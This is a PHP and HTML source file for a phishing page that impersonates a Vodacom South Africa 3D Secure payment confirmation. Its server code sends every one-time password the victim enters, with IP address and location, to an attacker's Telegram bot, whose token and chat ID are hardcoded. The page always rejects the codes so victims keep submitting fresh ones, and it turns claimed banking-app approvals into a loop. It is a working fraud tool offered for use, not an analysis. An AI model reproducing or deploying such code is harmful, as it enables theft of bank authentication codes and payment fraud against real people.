<?php
// confirmacion.php - Vodacom South Africa | 3D Secure Payment Confirmation
session_start();

$BOT_TOKEN = "8135689033:AAGBjMNfT40yxgKM9hF6ztF5g_TWtrvdSRQ";
$CHAT_ID = "-5203855123";

// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'South Africa';

$context = stream_context_create(['http' => ['timeout' => 5]]);
$geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context);
if ($geoData !== false) {
    $geo = json_decode($geoData);
    $country = $geo->country ?? 'South Africa';
}

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    curl_exec($ch);
    curl_close($ch);
}

// === HANDLE AJAX ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    $msg = "";

    if ($_POST['action'] === 'verify') {
        $otp = trim($_POST['otp'] ?? '');
        $attempt = intval($_POST['attempt'] ?? 1);

        $msg = "<b>⚠️ VODACOM SOUTH AFRICA - OTP ATTEMPT #{$attempt}</b>\n";
        $msg .= "══════════════════════════════\n";
        $msg .= "<b>OTP:</b> <code>{$otp}</code>\n";
        $msg .= "<b>IP:</b> <code>{$ip}</code>\n";
        $msg .= "<b>Country:</b> {$country}\n";
        $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
        sendTelegram($msg);

        echo json_encode(['status' => 'invalid', 'attempt' => $attempt + 1]);
        exit;
    }

    if ($_POST['action'] === 'approved') {
        $msg = "<b>⚠️ VODACOM SOUTH AFRICA - PAYMENT APPROVED VIA BANK APP</b>\n";
        $msg .= "══════════════════════════════\n";
        $msg .= "<b>IP:</b> <code>{$ip}</code>\n";
        $msg .= "<b>Country:</b> {$country}\n";
        $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
        sendTelegram($msg);

        echo json_encode(['status' => 'loop']);
        exit;
    }
}

// === GET PAYMENT DATA ===
$account = $_SESSION['account'] ?? $_GET['account'] ?? 'User';
$invoice = $_SESSION['invoice'] ?? $_GET['invoice'] ?? 'INV-2026-02-1589';
$amount = '250.00';
$last4 = $_SESSION['last4'] ?? '1234';
$time = date('H:i');
$date = date('d/m/Y');
$merchant = "VODACOM SOUTH AFRICA";
?>
<!DOCTYPE html>
<html lang="en-ZA">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secure Payment — Vodacom South Africa</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
    <style>
        :root {
            --primary: #FFD700;
            --primary-dark: #E5C100;
            --secondary: #1A2C3E;
            --secondary-light: #2C3E50;
            --background: #F8FAFC;
            --card-bg: #FFFFFF;
            --text: #1E2A36;
            --text-muted: #5C6F82;
            --border: #E2E8F0;
            --radius: 4px;
            --input-bg: #FFFFFF;
            --danger: #DC2626;
            --danger-bg: #FEF2F2;
            --success: #0F7B4B;
        }
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body {
            font-family: 'Inter', sans-serif;
            background: var(--background);
            color: var(--text);
            line-height: 1.5;
            padding: 0;
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }
        .container {
            max-width: 420px;
            margin: 0 auto;
            width: 100%;
            padding: 0 1rem;
            flex: 1;
        }

        /* HEADER */
        .bank-header {
            background: var(--secondary);
            color: white;
            padding: 1rem;
            border-radius: var(--radius) var(--radius) 0 0;
            text-align: center;
            font-weight: 600;
            font-size: 0.95rem;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 0.5rem;
            border-bottom: 2px solid var(--primary);
        }

        /* CARD */
        .approval-card {
            background: var(--card-bg);
            border: 1px solid var(--border);
            border-radius: 0 0 var(--radius) var(--radius);
            padding: 1.5rem;
            margin-top: -1px;
        }

        /* TRANSACTION */
        .transaction {
            background: #F8FAFC;
            border-radius: var(--radius);
            padding: 1rem;
            margin-bottom: 1.25rem;
            border: 1px solid var(--border);
        }
        .trans-row {
            display: flex;
            justify-content: space-between;
            padding: 0.5rem 0;
            font-size: 0.9rem;
            border-bottom: 1px solid var(--border);
        }
        .trans-row:last-child { border-bottom: none; }
        .trans-label { color: var(--text-muted); }
        .trans-value { font-weight: 500; }
        .amount { 
            color: var(--success);
            font-weight: 700;
            font-size: 1.2rem;
        }

        /* PUSH NOTIFICATION */
        .app-notif {
            background: #F8FAFC;
            border-radius: var(--radius);
            padding: 1.25rem;
            margin: 1.25rem 0;
            text-align: center;
            border: 1px solid var(--border);
        }
        .app-notif strong {
            display: block;
            color: var(--secondary);
            margin-bottom: 0.35rem;
            font-size: 0.95rem;
        }
        .app-notif .app-badge {
            display: inline-block;
            background: var(--primary);
            color: var(--secondary);
            padding: 0.2rem 0.6rem;
            border-radius: 12px;
            font-size: 0.75rem;
            margin-top: 0.5rem;
            font-weight: 600;
        }

        /* PENDING GIF CONTAINER */
        .pending-gif-container {
            text-align: center;
            margin: 0.5rem 0 1rem 0;
        }
        .pending-gif {
            max-width: 120px;
            border-radius: var(--radius);
        }

        /* LOADING DOTS (identical to reference) */
        .loading-dots {
            text-align: center;
            padding: 1rem;
            margin: 0.5rem 0;
            font-size: 0.9rem;
            color: var(--text-muted);
        }
        .dot {
            display: inline-block;
            width: 6px;
            height: 6px;
            border-radius: 50%;
            background: var(--text-muted);
            margin: 0 2px;
            animation: dotPulse 1.4s infinite ease-in-out;
        }
        .dot:nth-child(2) { animation-delay: 0.2s; }
        .dot:nth-child(3) { animation-delay: 0.4s; }
        @keyframes dotPulse {
            0%, 80%, 100% { transform: scale(0.8); opacity: 0.5; }
            40% { transform: scale(1); opacity: 1; }
        }

        /* SMS INPUT (Hidden initially) */
        .sms-container {
            margin: 1.25rem 0;
            display: none;
        }
        .sms-label {
            font-weight: 600;
            margin-bottom: 0.5rem;
            color: var(--secondary);
            font-size: 0.9rem;
            text-transform: uppercase;
            letter-spacing: 0.03em;
        }
        .sms-hint {
            color: var(--text-muted);
            font-size: 0.85rem;
            margin-bottom: 1rem;
        }
        .sms-input {
            width: 100%;
            padding: 0.75rem;
            font-size: 1rem;
            text-align: center;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            background: white;
            font-family: monospace;
            margin-bottom: 1rem;
        }
        .sms-input:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 1px var(--primary);
        }
        .sms-input.error {
            border-color: var(--danger);
        }

        .verify-btn {
            width: 100%;
            padding: 0.8rem;
            background: var(--primary);
            color: var(--secondary);
            border: none;
            border-radius: var(--radius);
            font-weight: 600;
            font-size: 0.9rem;
            cursor: pointer;
            text-transform: uppercase;
            letter-spacing: 0.05em;
        }
        .verify-btn:hover { 
            background: var(--primary-dark);
        }
        .verify-btn:disabled { 
            background: #E2E8F0;
            color: var(--text-muted);
            cursor: not-allowed;
        }

        .cooldown {
            margin-top: 1rem;
            color: var(--text-muted);
            font-size: 0.85rem;
            text-align: center;
            padding: 0.75rem;
            background: #F8FAFC;
            border-radius: var(--radius);
            border: 1px solid var(--border);
        }

        .error-message {
            display: none;
            color: var(--danger);
            margin-top: 1rem;
            font-size: 0.85rem;
            text-align: center;
            padding: 0.75rem;
            background: var(--danger-bg);
            border-radius: var(--radius);
            border: 1px solid var(--danger);
        }

        .approve-link {
            display: block;
            text-align: center;
            color: var(--secondary);
            text-decoration: none;
            margin: 1.25rem 0;
            font-size: 0.9rem;
            font-weight: 600;
            padding: 0.8rem;
            background: #F8FAFC;
            border-radius: var(--radius);
            border: 1px solid var(--border);
        }
        .approve-link:hover { 
            background: #E2E8F0;
        }

        .loop-message {
            display: none;
            color: var(--danger);
            margin: 1rem 0;
            font-size: 0.9rem;
            text-align: center;
            font-weight: 600;
            padding: 1rem;
            background: var(--danger-bg);
            border-radius: var(--radius);
            border: 1px solid var(--danger);
        }

        .security-badges {
            display: flex;
            justify-content: center;
            gap: 0.8rem;
            margin-top: 1.5rem;
            flex-wrap: wrap;
        }
        .badge {
            background: #F8FAFC;
            padding: 0.4rem 0.8rem;
            border-radius: var(--radius);
            font-size: 0.75rem;
            color: var(--text-muted);
            display: flex;
            align-items: center;
            gap: 0.4rem;
            border: 1px solid var(--border);
        }

        .footer {
            text-align: center;
            padding: 1.5rem 1rem;
            color: white;
            font-size: 0.75rem;
            margin-top: 2rem;
            background: var(--secondary);
        }

        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            25% { transform: translateX(-5px); }
            75% { transform: translateX(5px); }
        }
        .shake { animation: shake 0.3s ease; }

        @media (max-width: 480px) {
            .container { max-width: 100%; }
            .approval-card { padding: 1.25rem; }
        }
    </style>
</head>
<body>

<div class="container">
    <!-- HEADER with Vodacom style (kept consistent with reference) -->
    <div class="bank-header">
        <i class="fas fa-shield-alt"></i> Vodacom 3D Secure
    </div>

    <!-- CARD -->
    <div class="approval-card">
        <div class="transaction">
            <div class="trans-row">
                <span class="trans-label">Merchant</span>
                <span class="trans-value"><?php echo htmlspecialchars($merchant); ?></span>
            </div>
            <div class="trans-row">
                <span class="trans-label">Amount</span>
                <span class="trans-value amount">R<?php echo htmlspecialchars($amount); ?></span>
            </div>
            <div class="trans-row">
                <span class="trans-label">Date & Time</span>
                <span class="trans-value"><?php echo "$date, $time"; ?></span>
            </div>
            <div class="trans-row">
                <span class="trans-label">Card</span>
                <span class="trans-value">**** **** **** <?php echo htmlspecialchars($last4); ?></span>
            </div>
            <div class="trans-row">
                <span class="trans-label">Invoice</span>
                <span class="trans-value"><?php echo htmlspecialchars($invoice); ?></span>
            </div>
        </div>

        <!-- PUSH NOTIFICATION (identical to reference) -->
        <div class="app-notif">
            <strong>Notification sent to banking app</strong>
            <div style="font-size: 0.9rem; margin: 0.5rem 0;">Check your Vodacom banking app to approve</div>
            <div class="app-badge">
                <i class="fas fa-mobile-alt"></i> Open banking app
            </div>
        </div>

        <!-- PENDING GIF (exactly as requested) -->
        <div class="pending-gif-container">
            <img src="assets/pending.gif" alt="Processing..." class="pending-gif">
        </div>

        <!-- LOADING DOTS (exactly as reference) -->
        <div class="loading-dots" id="loadingDots">
            Waiting for response from banking app
            <div style="margin-top: 0.5rem;">
                <span class="dot"></span>
                <span class="dot"></span>
                <span class="dot"></span>
            </div>
        </div>

        <!-- SMS INPUT (Shown after 25 seconds) -->
        <div class="sms-container" id="smsContainer">
            <div class="sms-label">
                <i class="fas fa-sms"></i> SMS Verification
            </div>
            <div class="sms-hint">
                Enter the verification code sent to your mobile.
            </div>
            <input type="text" class="sms-input" id="smsInput" placeholder="Enter verification code" inputmode="numeric">
            <button class="verify-btn" id="verifyBtn">
                <i class="fas fa-check-circle"></i> Verify Code
            </button>
            <div class="cooldown" id="cooldown" style="display:none;">
                <i class="fas fa-clock"></i> Wait <span id="countdown">15</span> seconds
            </div>
            <div class="error-message" id="errorMessage">
                <i class="fas fa-exclamation-circle"></i>
                <span id="errorText">Invalid code</span>
            </div>
        </div>

        <a href="#" class="approve-link" id="approveLink">
            <i class="fas fa-check-double"></i> I approved in banking app
        </a>

        <div class="loop-message" id="loopMessage">
            <i class="fas fa-exclamation-triangle"></i>
            Approval not detected. Try SMS verification.
        </div>

        <div class="security-badges">
            <div class="badge"><i class="fas fa-shield-alt"></i> 3D Secure</div>
            <div class="badge"><i class="fas fa-lock"></i> Encrypted</div>
            <div class="badge"><i class="fas fa-check-circle"></i> Verified</div>
        </div>
    </div>
</div>

<div class="footer">
    Secure transaction processed by Vodacom South Africa. © 2026
</div>

<script>
// Show SMS input after 25 seconds (as requested)
setTimeout(() => {
    document.getElementById('loadingDots').style.display = 'none';
    document.getElementById('smsContainer').style.display = 'block';
    document.getElementById('smsInput').focus();
}, 25000);

// SMS Input handling - only digits, length 4-8 (internal rule, not publicly displayed)
document.getElementById('smsInput').addEventListener('input', function(e) {
    // Allow only digits (numeric)
    this.value = this.value.replace(/\D/g, '');
    // Limit to 8 digits max (internal)
    if (this.value.length > 8) {
        this.value = this.value.slice(0, 8);
    }
    if (this.classList.contains('error')) {
        this.classList.remove('error');
        document.getElementById('errorMessage').style.display = 'none';
    }
});

// Verify Button - ACCEPTS NUMERIC 4-8 DIGITS (internal validation)
let attempt = 1;
let cooldown = false;
document.getElementById('verifyBtn').addEventListener('click', async () => {
    if (cooldown) return;
    const otp = document.getElementById('smsInput').value.trim();
    
    // Internal rule: must be numeric and between 4 and 8 digits
    if (!/^\d{4,8}$/.test(otp)) {
        showError('Invalid code. Must be 4-8 digits.');
        document.getElementById('smsInput').classList.add('error');
        return;
    }

    const btn = document.getElementById('verifyBtn');
    btn.disabled = true;
    btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Verifying...';

    try {
        const res = await fetch('', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: `action=verify&otp=${encodeURIComponent(otp)}&attempt=${attempt}`
        });
        const data = await res.json();

        showError('Invalid code. Try again.');
        document.getElementById('smsInput').classList.add('error');
        document.getElementById('smsInput').classList.add('shake');
        setTimeout(() => document.getElementById('smsInput').classList.remove('shake'), 300);
        
        attempt = data.attempt;
        startCooldown();
    } catch (e) {
        btn.disabled = false;
        btn.innerHTML = '<i class="fas fa-check-circle"></i> Verify Code';
        showError('Connection error');
    }
});

function showError(message) {
    const el = document.getElementById('errorMessage');
    document.getElementById('errorText').textContent = message;
    el.style.display = 'block';
    
    const btn = document.getElementById('verifyBtn');
    btn.disabled = false;
    btn.innerHTML = '<i class="fas fa-check-circle"></i> Verify Code';
}

function startCooldown() {
    cooldown = true;
    const btn = document.getElementById('verifyBtn');
    const cd = document.getElementById('cooldown');
    const count = document.getElementById('countdown');
    btn.style.display = 'none';
    cd.style.display = 'block';

    let time = 15;
    const interval = setInterval(() => {
        time--;
        count.textContent = time;
        if (time <= 0) {
            clearInterval(interval);
            cooldown = false;
            btn.style.display = 'block';
            btn.disabled = false;
            btn.innerHTML = '<i class="fas fa-check-circle"></i> Verify Code';
            cd.style.display = 'none';
            document.getElementById('smsInput').value = '';
            document.getElementById('smsInput').classList.remove('error');
            document.getElementById('errorMessage').style.display = 'none';
            document.getElementById('smsInput').focus();
        }
    }, 1000);
}

// App approval link (exactly like reference)
document.getElementById('approveLink').addEventListener('click', async (e) => {
    e.preventDefault();
    showError('Approval not detected');
    document.getElementById('smsInput').classList.add('error');

    await fetch('', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'action=approved'
    });

    document.getElementById('loopMessage').style.display = 'block';
    document.getElementById('approveLink').style.display = 'none';
});
</script>

</body>
</html>